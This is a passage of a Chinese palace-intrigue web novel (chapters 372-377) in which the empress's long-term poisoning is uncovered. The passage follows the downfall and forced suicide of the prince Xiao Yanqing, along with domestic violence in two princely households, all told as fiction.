“究竟是何缘故,亲自去瞧一瞧自然就能知分晓。” 萧宝珠已经顾不上其他,抬步就往后宫跑去。 她心中升起一股慌乱,这样的慌乱来得凶猛,是此前从未有过的。 孙皇后躺在床上,脸色惨白,没有半分血色。 一旁,李贵妃的脸色也很苍白,她眼底藏满惊慌与焦灼。 太医已经第一时间赶到,正在为孙皇后施针。 德丰帝一行人赶到,当即朝李贵妃怒喝,“到底怎么一回事?” 第372章 中毒 李贵妃当即跪下,“皇上恕罪,臣妾,臣妾并非有意,一切都只是意外,臣妾也不知道为何会这样……” 李贵妃语无伦次,完全失去了以往的镇定自若。 德丰帝嫌恶地转开目光,转而问一旁的吴嬷嬷。 “你来说,究竟是怎么一回事。” 吴嬷嬷自是不会替李贵妃遮掩,她将事情的始末原原本本尽数道来。 原来,李贵妃之所以来见皇后,全是为了萧晏清。 藩王不能在京中久留,过完元宵之后,差不多就要启程返回封地。 萧晏清也被勒令差不多的时候启程。 李贵妃想请皇后开口替萧晏清求情,让他留在京城,过完萧宝珠的及笄礼再走。 李贵妃会如此谋划,自然是因为心中不甘,妄图再想其他法子力挽狂澜。 本以为这么一桩小事孙皇后会答应,但她没想到,孙皇后一口就拒绝了,态度也很冷淡。 吴嬷嬷:“前朝之事,乃皇上决断,皇后岂能干预?贵妃之请求分明是强人所难,皇后自然不会答应。谁料贵妃竟是伸手拉扯皇后,皇后身子本就虚浮,哪里禁得住她的拉扯?脚下一个不稳,这才摔了。” 吴嬷嬷将此番经过尽数道来,语气尽量平静,但依旧难掩悲愤。 萧晏清听了这番话,心头最后一丝侥幸彻底熄灭,后背冷汗打湿了衣裳。 母妃糊涂! 李贵妃也后悔,悔得肠子都青了。 她哪里知道,孙皇后的身体竟然这么不堪一击?简直就似豆腐似的,一碰就碎。 这个罪名扣在她的头上,他们母子就真的没有翻身的可能了。 李贵妃重重叩首,“皇上恕罪,臣妾真的是无心的,臣妾便是有天大的胆子,也不敢谋害皇后啊。” 萧晏清也跟着跪下,一并请罪。 “父皇,母妃是爱子心切,不舍儿臣,才会到皇后跟前恳求此事,也是一时失手,才酿此大祸。一切都因儿臣而起,父皇要怪,就怪儿臣吧。” 德丰帝冷冷道:“皇后若是有个闪失,你们母子都脱不了干系!” 这话说得极重,萧晏清和李贵妃的脸上血色再次褪尽。 萧宝珠立在孙皇后的床边,双目含泪地看着她。 除夕那夜,母后终于现身人前,萧宝珠心里对她存了怨气,一直不肯来见。 她原本打算明日来见母后,亲口告诉她,自己有了一门心仪的好亲事。 没想到,今夜就发生了这样的事。 她的手脚冰冷,脑子都乱成了一团。 陆知苒立在她身侧,只能握着她的手,以作安慰,旁的什么都做不了。 生死有命,孙皇后能不能撑过来,就看她自己了。 御医终于收了针,但他的眉头紧锁,脸色并不好看。 “回皇上,皇后娘娘身子本就亏损严重,已是强弩之末,此番遭受重创,彻底损了元气,而今只余一缕微弱呼吸,微臣实在无能为力。” 萧宝珠身子一个趔趄,陆知苒用力扶住她,才没有摔倒。 李贵妃和萧晏清亦是面色惨白。 孙皇后本就是濒死之人,但偏偏李贵妃撞到了枪口上,若孙皇后因此一命呜呼,她就要被扣上一个谋害皇后的罪名。 那她,也没活路了。 德丰帝对此结果已经早有预料,心头依旧沉了沉。 这时,睿亲王站了出来,他满脸急切。 “皇兄,臣弟自封地带来了一个大夫,医术极佳,臣弟斗胆让他给皇嫂一试。” 萧宝珠抓住德丰帝的手臂,哀求,“父皇,让他来试试吧,兴许母后还有救呢?” 德丰帝知道,孙皇后多半是回天无力了。 但他也不忍心驳了萧宝珠的请求,便点头答应了。 睿亲王先前就已经派人去请大夫,得了德丰帝点头,人很快就被接了进来。 那大夫名唤马兴义,是个干瘦的小老头。 一番诊治施针,马兴义的眉头便没有舒展过。 足足小半个时辰,这一整套施针方结束。 “皇上,草民斗胆直言,皇后娘娘先前应是中了毒。” 这话一出,众人皆惊。 德丰帝的面色更是陡然沉了下去。 “此话当真?” “草民不敢妄言。若草民诊断没错的话,皇后所中的毒应是梦魂香,且中毒已有近十年之久,只是那毒性很轻,所以不易被发现。” 近十年之久! 何人竟如此胆大妄为,敢在坤宁宫下毒? 德丰帝周身都带着一股风雨欲来的威压,“真是岂有此理!” 众人齐齐跪下,不敢直视龙颜。 “你可能查出中毒的源头在何处?” 马兴义小心回话,“若草民见了那毒物,应能分辨得出。” “好,朕允你在殿内搜查,便有损毁东西,朕也恕你无罪。” 马兴义得了这话,这才开始在殿内搜寻起来。 他走到了佛龛面前,上面摆着一个小小的牌位,那是大皇子的牌位。 马兴义告了一声罪,旋即将其取了下来,凑到鼻尖嗅了嗅,眉头蹙了起来。 “这牌位可有问题?” 马兴义恭敬道:“皇上,草民不敢断定,若要查验清楚,需得将其砸碎,但这牌位也势必要毁了。” 德丰帝毫不迟疑,“砸!” 大皇子已经死了那么多年,空留着一个牌位有何用? 马兴义将那观音像狠狠砸下,瞬间摔得粉碎。 那里面,果然另有玄机。 那牌位中间竟是镂空的,里面放着一包东西,散发着若有若无的味道。 众人下意识掩住了口鼻。 马兴义拿起那东西,笃定道:“正是此物。” 德丰帝沉着脸,示意御医上前查看。 那御医也给出了同样的答复,那正是梦魂香。 经年累月地接触此物,可让人身体日渐虚弱。 而常年郁结于心,情绪起伏过大之人,更易受此影响。 孙皇后一直对大皇子之死耿耿于怀,每日都会亲自擦拭牌位,更会时常拿在手中细细抚摸。 忆起往事,她也总会情绪失控,悲痛欲绝,那梦魂香就更易侵入心脉。 一切都对得上了。 德丰帝的脸色十分难看,“究竟是何人,竟如此胆大包天,敢在大皇子的牌位上动手脚!” 吴嬷嬷愣怔许久,好半晌才回过神来。 她声音颤抖,“皇上,奴婢想起来了,这牌位,是李贵妃从宫外请回来的!” 第373章 吴王彻底失势 李贵妃身子狠狠一抖,原本就惨白的脸色,瞬间更加白了几分。 她本盼着马兴义能真的有点本事,找出那下毒的源头,这样自己今日的罪责就能减轻大半。 然而谁能料到,最后事情的矛头竟然再次指向了她! 可偏偏,她有口难辩,因为这牌位,的确是她经手的。 大皇子的牌位原本是内务府打制,但那段时日,牌位总是从佛龛往下掉,孙皇后认为是大皇子在地下难安,才会如此。 当时法华寺有一位年逾百岁的慧能和尚,道法十分高深。 李贵妃有心讨好孙皇后,就走通了门道,提出重新打造一方牌位,让慧能和尚给牌位开光,让大皇子受佛家感渡。 孙皇后病急乱投医,便答应了。 说来也奇,重新打造和开过光的牌位,果然没有再发生先前的异状,孙皇后也安心了。 为此,孙皇后还赏了李贵妃。 这件事,后宫不少人都知晓,当初李贵妃借此邀功,而今,却成了她的催命符。 她万万没想到,这牌位竟被人动了手脚! 萧晏清更是如遭雷击,脑瓜子嗡嗡直响。 完了,这一次,他是真的彻底完了。 德丰帝刀子一样的眼神扫向李贵妃,她顿时觉得头皮发麻。 她高呼,“皇上,臣妾冤枉,臣妾根本不知道是怎么一回事啊!” “冤枉?事实摆在眼前,你还敢喊冤?李氏,你当真是蛇蝎心肠,罪不容诛!” 李贵妃不停磕头求饶,“皇上,臣妾真的不知道怎么回事,定是有人借臣妾之手,做局陷害臣妾,皇上您定要明察啊!” 德丰帝的眼里已带着杀意。 “就算如此,亦是你疏忽大意,才让人有了可乘之机,你同样该死!念在你伺候朕多年的份儿上,白绫还是鸩酒,选一样吧。” 李贵妃身子彻底瘫软,哆嗦着唇,说不出半个字来。 德丰帝嫌恶地扫了他一眼,“拖下去。” 李贵妃似一滩烂泥般被拖了下去,到了门口她才回过神来,高声大喊。 “皇上,臣妾愿意以死谢罪,但晏清是无辜的,求您高抬贵手,万不要迁怒于他……” 李贵妃的声音慢慢远去。 萧晏清跪在地上,喉头发涩,背脊阵阵发凉。 “父皇……” 德丰帝看着他,眼底也再无温情,只余满满的嫌恶。 “朕对你们很失望。” 萧晏清俯首在地,不敢辩解。 “今,削尔亲王之号,降为郡王,禄秩视同郡王例。改封陇西临洮之地,食邑减为旧制三成,府属官属悉数裁撤。非奉诏命,永世不得入京。” 一番口谕,砸得萧晏清脑袋嗡嗡作响。 原本他的封地在关中之地,地势平坦,气候宜人,粮食丰产,而今却变成了气候严寒,土地贫瘠的陇西…… 其余一应待遇也都遭到了削减。 他是彻底失势了。 萧晏清喉头梗了一口血,险些吐了出来。 半晌,他才闷声开口,“儿臣,领旨谢恩!” 他宛若一条丧家之犬,狼狈离场。 他心中依旧不甘,究竟是谁在布局谋害他们? 十年前就开始布局,其心思深沉,可见一斑。 萧晏辞也在想这个问题。 此事有可能是李贵妃所为,但也有可能不是。 他更倾向于后者。 这件事的意外爆出,让他心头生出了前所未有的警惕。 在他们背后,还有一只无形的手在布局,对方或许毫不起眼,所以才从未引人怀疑。 究竟是谁呢? 萧晏辞一时没有找到答案。 萧晏清似有不甘,又回头看来,恰好与萧晏辞的目光对上,他的眸底顿时迸出浓浓的恨意。 萧晏辞回以一记冷笑。 他以为这就是自己最坏的结果吗?远不止于此。 今夜之事只是意外,萧晏辞安排的好戏明日就会开唱,到时候,父皇还会对他网开一面吗? 萧宝珠看着那摔碎了的牌位,心中升起一股难以言喻的感觉。 十几年来,母后都沉浸在失去大皇兄的悲痛之中。 她又是否料到,自己竟会因大皇兄而中毒? 即便知道,母后也定然不会在意的吧,那毕竟是她最爱的儿子。 睿亲王急切开口,“马大夫,你能否有法子给皇后解毒?” 马兴义缓缓摇头,“皇后娘娘长期郁结于心,又哀思过度,寿元本就受了影响,加之中毒时日太久,草民亦无能为力。” 睿亲王眼底的那丝希冀,彻底湮灭了。 马兴义又道:“草民能做的,只是暂时护住皇后的心脉,尽量为皇后拖延时间。至于能拖延到何时,就看皇后自己的求生意志了。” 睿亲王想让他赶紧施针,睿亲王妃拦住了他,他这才压下了脱口而出的话。 他只是臣弟,没有资格决定此事。 德丰帝沉吟片刻,“施针吧。” 这样活着,或许很痛苦。 但她留着一口气在,或许就是为了等到宝珠及笄,等她成婚呢? 自己不能剥夺了她的念想。 就算是走,也要让她毫无遗憾地离开。 一场施针,孙皇后的呼吸渐趋平稳,便好似睡着了一般。 马兴义得了丰厚赏赐,睿亲王也受了嘉奖。 众人离开了,只有萧宝珠没走。 她守在了孙皇后的床榻边,握着她的手,眼泪无声地流着。 吴嬷嬷劝了好几次没用,便没再劝了,只是给她多添了一个暖手炉。 一场宫宴,再次潦草收场。 睿亲王坐在马车上,很沉默,整个人都笼着一层难以言喻的低沉气压。 睿亲王妃也安静地坐着,神色莫名。 回到王府,天色已经不早了。 马兴义却来了,睿亲王当即知道,他定有事。 “王爷,老夫方才发现了一些端倪,不知当不当讲。” 睿亲王立马道:“在本王面前,你无需遮掩,直说便是。” 马兴义这才低声开口,“老夫发现,皇后娘娘不止中了一种毒,除了梦魂香,还有红颜烬。” 睿亲王的脸色骤变。 红颜烬之毒,出自蜀地,更准确地说,是出自王妃的母家廖家。 睿亲王的牙关紧咬,“你可确定?” “老夫不会看走眼。老夫在皇后娘娘用过的燕窝里发现了此毒。老夫听说,近日王妃时常给皇后送滋补之物……” 第374章 见不得光的心思 睿亲王大手狠狠拍在桌上,震得茶盏砰砰作响。 他的确让王妃给坤宁宫送了很多补品,其中便有燕窝。 除了廖氏,谁会有红颜烬?谁又敢往皇后的吃食里下毒? 马兴义见睿亲王如此反应,当即便确定,王爷不知此事。 若王爷知晓,定然不会派人去请他。 他起先还不敢确定,以为是自己诊错了脉,直到发现那残余的燕窝,他才敢笃定自己没有猜错。 察觉此事有异,他也不敢表露半分。 若此事被抖出来,睿亲王府将不复存在,他也没了活路。 好在,他很快发现了那牌位的问题。 有了那牌位做遮掩,其他东西自然无人在意。 但不知王妃送去的其他燕窝是否有问题,若被人发现,后果不堪设想,是以马兴义不敢隐瞒。 睿亲王压着怒气,对马兴义叮嘱一番,务必保守秘密,不可对任何人提起半个字。 打发了马兴义,睿亲王抬步就往内院而去。 睿亲王妃廖氏刚梳洗完,换上了家常的里衣,一头如墨的青丝披散着。 她今年也不过三十出头,正是风韵最佳的年纪。 然而,睿亲王却没有多看一眼。 他沉着脸,把丫鬟都遣退了出去。 廖氏见此,脸上的温柔之色微微凝固。 她预感到了些什么。 屋中没了外人,睿亲王直接逼近廖氏,眼底满是怒意。 “廖氏,你给本王老实交代,本王让你送往坤宁宫的东西,你都做了什么手脚?” 廖氏眼眸微闪,“妾身不知道王爷在说什么。” 睿亲王额上青筋暴起,“事到如今,你还在装傻!马大夫已经诊断出来,皇嫂体内中了红颜烬之毒,此毒除了你,还有谁有?” “你若不承认,本王便将你身边的人都抓起来,好生拷打一番,本王倒是看看,她们是否都如你这般嘴硬。” 廖氏见他道出了真相,又有马兴义作证,知道狡辩无用,便索性承认了。 “没错,是妾身做的。” 她的话音刚落,睿亲王就扬手,给了她一记结结实实的耳光。 廖氏的脸被打得歪向一侧,火辣辣的疼。 “你个毒妇,你为何要这么做?皇嫂何曾对不起你,你要害她性命?” 廖氏的脸上再没了白日的端庄贤雅,取而代之的是一抹凉凉的冷笑。 “妾身为什么这么做,王爷难道真的半点都不知道吗?您藏在心底的那点心思,真以为没人看得出来?妾身不瞎!” 睿亲王的眸光微闪,面皮也微微抖了抖。 “你胡说八道些什么?” “王爷一直珍藏的那本《诗经》,是谁亲笔所写?王爷每日都要拿出来看的那方帕子,是谁亲手所绣?还有那几身早就不合身的旧衣,王爷又为何一直收着,连碰都不让妾身碰?” “世人只怕无论如何都想不到,清风霁月的睿亲王,这么多年来一直对自己的长嫂心怀绮思!” 睿亲王被戳中心事,一张脸涨得通红,又羞又恼。 “你住嘴!” 廖氏冷笑一声,“王爷既然敢做,为何不敢认?您这次巴巴地跑回来,不就是听说她身子不好,唯恐见不到她最后一面吗?” “那株上百年的灵芝,何其难得,是我父兄好不容易才弄到的,本是要给臻姐儿调养身子,却被你拦下,要留给你的好皇嫂!” “你只记得你的好皇嫂身子差,可想过,我们的臻姐儿天生不足,最需这等好东西滋补身子?这么多年,我一直忍气吞声,只当自己瞎了,聋了,但你千不该万不该,不该抢了臻姐儿的东西,去满足你那见不得光的心思!” 睿亲王喉头发哽,有一股腥甜涌了上来,又被他硬生生压下。 廖氏的话,让他不得不直面自己藏在心底最深处的心思。 当初,孙皇后还不是皇后,只是太子妃。 当初,睿亲王也不过七八岁,母后离世,他大病一场,整个人都混混沌沌的,连话都不会说了。 他被接到太子府住下,孙皇后似母亲般精心照料,耐心教导。 正是日复一日的付出,让他重新张口说话,脸上也慢慢有了笑容。 原本的孩童不知何时慢慢长成了小小少年,到了少年慕艾的年纪,他对同龄的姑娘都生不起兴趣,只觉得她们大多任性刁蛮,他要娶妻,也当娶长嫂这般沉稳大气,端庄娴雅之人。 这个念头一起,他才慢慢意识到自己的心思。 他为此唾弃自己,经历了难言的煎熬。 他听从安排,娶了廖氏,也下定决心前往封地。 或许,分开了,记忆就能淡忘。 但事实却并非如此,越是见不到,思念便越发如跗骨之蛆,难以摆脱。 他以为自己的心思隐藏得很好,殊不知,他的枕边人却早就窥见了端倪。 半晌,睿亲王方开口,声音发涩。 “长嫂如母,她对本王有养育之恩,是本王起了不该有的心思,与她何干?你对她下毒,置于本王于何地?” 廖氏听他亲口承认,心口不受控地刺痛。 本以为自己已经不在乎了,却原来,还是在乎的。 “那王爷的所作所为,又置我于何地?置臻姐儿于何地?” 睿亲王想反驳,廖氏却没给他机会。 “她当真没有错处吗?她与你年岁本也相差不大,又男女有别,她若当真知晓分寸,就应当与你保持距离,不该让你生出这不该有的心思。” 廖氏怨恨睿亲王,但对孙皇后的怨恨更甚。 她认定了孙皇后不知检点,故意勾引,让睿亲王在少年慕艾之时对她心动。 廖氏见到孙皇后时,心中的失望和鄙夷达到了顶峰。 就这么一个苍老虚弱,要死不活的女人,竟然是自己这十几年的劲敌? 廖氏突然觉得自己的人生好失败。 同时,心中的恨也达到顶点。 她提出替萧宝珠相看人家,便是存了歹心。 若是萧宝珠远嫁蜀地,岂不是落到了自己的手里?届时,她对孙皇后的所有恨,就全都能发泄到萧宝珠的身上。 偏偏孙皇后不识趣,拒绝了此事。 廖氏心中更恨,也更盼着她死。 第375章 又有人敲登闻鼓 从一开始,廖氏给孙皇后送东西,便是奔着要她性命去的。 红颜烬这种毒很特殊,一般大夫都诊不出来。 她唯一没有料到的是,王爷会让马兴义前去为孙皇后诊治。 马兴义是蜀地的大夫,他熟知红颜烬,这才露了破绽。 廖氏的话充满了恶意,睿亲王愈发恼怒。 “你住嘴!你可以侮辱我,但不能侮辱皇嫂!” 孙皇后是睿亲王心中最神圣的存在,任何人都不能羞辱她半分。 廖氏心中愈发悲凉,那老女人果然是王爷心中不可触碰的白月光,自己便是说一句,都是冒犯。 但好在,她马上就要死了。 他就是有满腔深情,又有何用? 往后余生,陪在王爷身边的是她。 “毒是我下的,王爷要揭穿我吗?你敢吗?” 廖氏微扬下巴看着他,眼底带着一股挑衅。 这番态度激怒了睿亲王,他一把掐住对方的脖颈,廖氏的脸顿时涨得通红,呼吸也有些不畅起来。 “贱人,你以为本王拿你没办法吗?本王就算不能揭穿你,也有的是法子让你生不如死!” “呵呵,那王爷便动手吧,只是王爷需得好好想想,该如何向我父兄交代!” 睿亲王的封地在蜀地,廖氏的娘家是蜀地最有声望的大族,廖氏有人撑腰,有恃无恐。 睿亲王若当真对她做些什么,廖家人不会坐视不管。 除非,他现在就直接掐死她。 若他当真敢动手,廖氏做鬼也不会放了他。 睿亲王的面皮扭曲,半晌,终于松了手。 “本王不杀你。” 廖氏得以顺畅呼吸,又不禁连连呛咳。 “但是,从今以后,沛哥儿和臻姐儿,本王会接到别处教养,你别想再见到他们!” 廖氏闻言瞪大了双眼,眼底第一次有了惊慌。 “王爷,你不能这样!” 一双儿女,是她的命门。 “继续交由你教养,他们只怕也会变得如你这般恶毒。本王不能让他们毁在你手里。” 睿亲王不再多言,甩袖而去。 廖氏却发了狂,追上前怒喝。 “你为了那女人,不把我这个正妻放在眼里也就罢了,现在还要让我们母子分离,你好狠的心!那人老珠黄的女人凭什么?” 睿亲王立马折回,扬手给了她一记耳光,将她打翻在地。 “廖氏,你如果想让我们全都死无葬身之地,你就继续嚷嚷!到时候,你们母子三人在阎罗殿上就能好好团聚!” 廖氏顿时哑口了。 “不想大家一起死,你就给我把这件事烂在肚子里!今后胆敢再提半个字,本王先送你一程!” 睿亲王离开了,廖氏失神地跌坐在地,丫鬟进来时,她双目空洞,只是有两行泪无声滑落。 睿亲王府的这一场闹剧,外人不得而知。 宫中,德丰帝亦没有睡。 大好的日子发生这样的变故,任凭是谁都睡不着。 那牌位里被动的手脚,让德丰帝无比震怒。 有人胆敢在他的眼皮子底下弄鬼,这是对皇权的挑衅。 这件事不管是不是李贵妃做的,都经了她的手,德丰帝容不得她。 之所以连萧晏清都一并罚了,是因为那逆子手伸太长了,敢在滇南府的年礼上动手脚,的确该好生敲打一番。 不然,日后他岂不是敢在自己的吃食上动起手脚来? 这个儿子,路越走越偏,也越发不得他的心。 让他去陇西,好好吃些苦头吧。 今夜,不知有多少人难以成眠。 这场变故还没来得及传扬发酵,翌日,又发生了一桩大事,如同热锅里浇进了一瓢水,瞬间沸腾了。 有人敲响了登闻鼓。 上次敲响登闻鼓的是甄氏,她是为了替儿子伸冤。 而这次敲响登闻鼓之人,不是一个人,而是一行人,看装扮,这些人赫然穿着青衫,是读书人的装扮。 但一个个衣衫脏污破旧,发髻凌乱,十分狼狈。 他们一边敲着鼓捶,一边高声喊。 “祁县举子周文渊等二十九名受害学子联名叩阍,状告衢州知府李世荣勾结黑虎山匪帮,劫掠赴考举子,毁人前程,罪不容诛!” “学生等寒窗苦读,只为报效朝廷,光耀门楣。然李世荣丧尽天良,纵匪行凶,使我等功名路断,家破人亡! “举子张明远,携母织布十年所积盘缠赴考,途中遇劫,银钱尽失,老母闻讯气绝,张生悲极疯癫,今流落街头,见人便问‘可曾见我的考篮?’” “秀才陈志安,被匪徒打断右手,终身不能再提笔作文,昔日‘神童’,今成废人,每日抱残卷痛哭!” “廪生李文焕,因路引被毁,误了考期,归家后遭乡邻耻笑‘无能’,羞愤自缢,临终血书‘天理何在’!” “此次我等一齐赶赴京城,途径衢州,亦遭到匪徒劫掠,其中有五名学子为护路引和荐书,被匪徒杀害,我等虽侥幸逃过一劫,却也是钱财尽失,书册尽毁,九死一生。” “李世荣之恶,上负皇恩,下欺黎民,使天下士子寒心!学生等泣血叩请青天大人明察,若此獠不除,则公道沦丧,科举蒙羞,国将无可用之才!” 此番控诉很快引来了无数围观的百姓,众人一片哗然。 秦中举闻讯,匆匆赶来,脸上的血色退了个一干二净。 无他,这李世荣他认识,正是李贵妃的弟弟,吴王萧晏清的亲舅舅! 当初秦中举能坐上这刑部尚书的位置,便是萧晏清暗中运作,他是铁板钉钉的吴王一派的人。 原本他十分坚定自己的选择,但最近一桩桩一件件的事,让他恨不得穿回去,狠狠扇自己几个大耳光。 而今,吴王这艘船已经成了一艘烂船,但他却没了下船的机会。 今日又爆出了这么一桩事。 此事若为真,那吴王这艘烂船,怕是要彻底沉了。 依照律例,但凡敲了登闻鼓之人,都要先挨一顿板子。 但此时此刻,这顿板子,秦中举有些不敢打了。 若这些人所告为真,且他们日后大有前程,自己岂不是平白得罪人? 秦中举不敢大意,连忙将此事回禀于德丰帝。 德丰帝闻言,顿时满面阴霾。 “击鼓者何在?宣!” 第376章 迟迟没有立储,是否错了? 二十九名学子被宣到御前,得见圣颜。 “你们口口声声状告衢州知府,可有证据?” “皇上,我等就是证据,我等亲耳听到那些匪徒商议此事,衢州府衙上至知府,下至差役,都是从犯!” “他们蛇鼠一窝,沆瀣一气,凡有苦主至府衙告状,反被诬为诬告良官,轻则杖责驱赶,重则下狱问罪。” “我等人微言轻,还请皇上派人前往衢州,彻查此事,若我等有半个字假话,任由皇上处置!” 德丰帝周身笼着一股沉沉威严,他当即派人前往衢州,彻查此事。 这次,他派出的是孙牧之。 萧晏清得知此事,顿时气急攻心,竟吐出了一口血来。 这些年,舅舅的确给了他不少银钱上的助力。 萧晏清只管拿银子,从不问银子的出处。 他即便知晓这些银子的来历会有些不干净,也拿得心安理得。 谁能料到,这些银子竟是这么来的! 偏偏事情在此事被扒出,若是坐实,后果不堪设想! 萧晏清顾不上自己身上的不适,立马遣人前去衢州通风报信,定要赶在孙牧之之前,把此事抹平。 只要孙牧之查不到证据,那些书生就是诬告! 萧晏清把人派出去之后,才后知后觉地反应过来,自己这是病急乱投医了。 此举,只怕是自露马脚! 萧晏清想把人再召回来,但已经来不及了。 五日后,孙牧之带兵回程。 他查清了真相,一举捉拿了那些为非作歹的匪徒。 李世荣收到萧晏清的报信,正欲将与匪徒往来的罪证和账目销毁,却被孙牧之逮住,来了个人赃并获。 李世荣手烤镣铐,被关在牢笼里,再没了往日的威风。 而此行抓获到的几十名匪徒,则被锁成了一长串,绑在囚车后头走着。 他们已经这样走了十里地,不少人的脚都走出水泡,但却不得不走,他们只要走得慢一些,官差就会扬起鞭子,狠狠地给他们来一下。 还有官差扯着嗓子将他们的罪行尽数道来,围观的百姓听了,顿觉满心气愤,还有人拿了臭鸡蛋和烂菜叶往他们身上砸。 那番情形,好不痛快。 孙牧之第一时间入宫向德丰帝回禀,德丰帝翻看着口供和账目,脸色铁青,胸口传来一阵剧痛,险些晕倒过去。 “岂有此理,真是岂有此理!” 再看到上面李世荣与吴王府的银钱往来记录,以及这次吴王府派人通风报信的证据,德丰帝更觉气血上涌。 原来他的好儿子,竟也插手了此事。 德丰帝疲惫地闭了闭眼睛,旋即下旨,判处李世荣和那些匪徒斩立决,对于那些受害者,核实之后,朝廷发放三倍赔偿。 至于萧晏清,德丰帝没有提,孙牧之也识趣地什么都没有问。 殿内没了旁人,德丰帝这才露出疲倦之色。 “冯有才,你说,朕迟迟没有立储,是否错了?” 因为没有立储,所以滋长了他们的野心。 为了那个位置,他的儿子才会如此不择手段。 冯有才一时不知该如何回答。 德丰帝也没有等他的答案,“替朕研墨。” 冯有才立马上前伺候。 德丰帝写了一道圣旨,冯有才飞快瞥了一眼,又立马垂下了目光。 很快,萧晏清就收到了一道圣旨。 他贬为庶民,终身软禁,不得踏出这座府邸半步。 萧晏清浑身瘫软,双目失神,连接旨都忘了。 而卢诗音和李云裳、楚云清及其侍妾们,全都如遭雷击,有人当场哭出声来。 原本以为被贬往陇西已是最糟糕的结果,没想到老天爷竟还不放过她们。 与其被囚在这座牢笼里,还不如到陇西封地去呢,至少自由自在。 宣旨太监早已离开,萧晏清耳边听得那些女人的嘤嘤哭泣,终于慢慢回过神来。 他眼底的灰败,一点点变成了癫狂与恨意。 最后,他的目光落在了李云裳的身上。 李世荣,正是李云裳的父亲。 最近吴王府遭受了接二连三的变故和打击,李云裳原本成竹在胸的心境终于慢慢变了。 她终于意识到,某些事情已然超出了掌控。 得知父亲落马,即将被问斩,她整个人都恍恍惚惚的。 今日,这道圣旨俨然成了压倒骆驼的最后一根稻草。 她的心态彻底崩了。 她双目失神,连哭都忘了。 这时,一双皂靴出现在她的视线中。 萧晏清走到了她的面前,对上他那黑沉沉的目光,李云裳身子狠狠一抖。 “殿下……啊!” 李云裳被萧晏清狠狠踹了一脚,捂着肚子,痛苦地倒在地上。 萧晏清却丝毫不为所动,只居高临下地看着她。 “我现在已经不是什么殿下了,我成了丧家之犬,你现在满意了?都是你爹害的,若非他太贪,太蠢,把事情做绝,我怎会受到连累?” 李云裳的肚子一阵剧痛,下身也流出血来。 “孩子,殿……表哥,表哥,你快让人去请太医,我的孩子出事了,这也是你的孩子啊!” 然而,萧晏清已然彻底癫狂了。 “孩子?我都成了这样,自身难保了,还要什么孩子!我现在了结了他,也省得他生出来受罪!” 就算这个孩子保不住了,她也需要大夫诊治,她不想因此丧命。 李云裳苦苦哀求,萧晏清却只顾发泄自己的怨气,非但没有替他请御医,反而又补了两脚,最后扬长而去。 众人都吓傻了,一时噤若寒蝉。 楚云清下意识摸向自己的肚子。 不知为何,此时她竟有些庆幸,庆幸自己的孩子当初流掉了。 萧晏清方才那话说得没错,眼下她们都自身难保了,还有什么余力生下孩子呢? 当初她的孩子掉了,至少她得到了精心伺候,不像李云裳,只能倒在血泊里,苦苦哀求。 卢诗音则完全吓傻了。 不论是对于吴王府的接连变故,还是对萧晏清的性情大变,她都没有回过神来。 曾经,她对萧晏清百般迷恋,方才目睹了他对李云裳的暴行,卢诗音便牙关打颤,原本的爱慕,全都变成了不寒而栗。 李云裳的侍女哭着哀求她,替自家主子请个大夫。 在场众人,也只有卢诗音或许还有法子请到大夫了,毕竟卢家还在。 卢诗音原本是很讨厌李云裳的,此时却生出一股同病相怜的悲悯。 她轻轻点了点头,让丫鬟去了。 第377章 赐白绫 德丰帝下了那道圣旨,便意味着他彻底放弃了那个儿子,连基本的体面都不打算给他。 本以为事情到此为止,没曾想,一切并未结束。 民间传出流言,称萧晏清为此事的幕后主使,李世荣贪墨劫掠得来的银子,都进了萧晏清的口袋,他才是真正鱼肉百姓的罪魁祸首。 此等丧尽天良,罪恶滔天之徒,不配活在世上。 天子犯法,当与庶民同罪,他即便是皇上亲子,也当为那些被毁了前程,丢了性命的学子偿命。 因为此事牵涉到读书人,这股风波和舆论迅速发酵,一时之间,街头巷尾皆是对萧晏清的口诛笔伐。 甚至有人宁愿冒着挨板子的危险,也敲响了登闻鼓,拼死进言,只求赐萧晏清死罪。 朝堂之上,众官员皆是沉默,无人敢对此事发表意见。 若要保萧晏清,便有违民意。 若进言赐他死罪,可他毕竟是德丰帝的亲生儿子,过后德丰帝想起此事,难保不会翻旧账。 无论怎么选,都吃力不讨好。 德丰帝坐在龙椅上,整个人似瞬间老了十岁不止。 沉默了不知多久,德丰帝才终于缓缓开口,“传朕旨意,六皇子萧晏清,赐——白绫。” 萧晏清死了。 他悬于自己的书房中。 临死前,他写下了一封悲怆的血书,字字泣血,为自己喊冤。 末了还道:“父皇,儿臣不怕死,只怕死后……父皇某一日想起清儿,会心生悔意。若真有那一日,儿臣在九泉之下,亦当肝肠寸断!” “儿臣死后,愿化作风雨,护佑父皇龙体康泰,江山永固——不孝子,萧晏清绝笔。” 最后那几行字,字迹凌乱,泪痕斑斑。 那封血书被送到德丰帝的案前,一股剧痛袭上心头,浑浊的双眸顿时盈出点点湿意。 不管他究竟犯了什么错处,可毕竟是自己的孩子啊。 德丰帝病倒了,罢朝数日。 萧晏辞听说了此事,入宫侍疾。 回到王府,萧晏辞的情绪明显不高。 陆知苒开口询问,萧晏辞缓声道:“父皇老了许多。他语言间更是试探我是否插手此事。” 萧晏清临死前的那封绝笔信终究是在德丰帝的心里埋下了愧疚和怀疑的种子。 陆知苒沉默了片刻,方道:“活人永远争不过死人。他若不死,父皇便会记住他的过错。他死了,父皇记住的,便都是他的好。你无需为此介怀。” 陆知苒唯恐萧晏辞会对德丰帝的猜忌生出心寒,便只得小心翼翼地安抚。 萧晏辞握住她的手,笑了笑。 “皇家父子,君臣永远排在父子之前,我早就知晓这一点,不会有那些不该有的幻想。” 即便父皇怀疑他,他也会这么做。 不除掉萧晏清,他心头难安。 更何况,这件事里,萧晏清也不无辜,他死得不冤。 陆知苒见他没有想岔,便放下心来。 无论如何,他们除掉了一个劲敌,这的确是一桩大喜事。 陆知苒倒是想到了另一件事。 “赵书宁那边,可还有其他异动?” 萧晏辞摇头,“我一直派人在狱中盯着,没有任何异动。父皇已经下旨择日行刑,她已是一枚弃子,再无翻身之力。” 果然,很快,朝廷公布了赵书宁、谷兆麟和李世荣等一众重犯行刑的日期,就在三天后。 而这三天,他们的伙食也大为改善。 断头饭,历来如此。 谷兆麟吃着那丰盛的饭菜,忍不住痛哭出声,心中悔恨不已,一边哭一边骂赵书宁,十分聒噪,被狱卒好生警告了一番,方才安分下来。 另一边,赵书宁却很安静。 萧晏清的接连惨败让她心头的希望彻底熄灭。 她从一开始的不甘心,到现在,内心已然麻木。 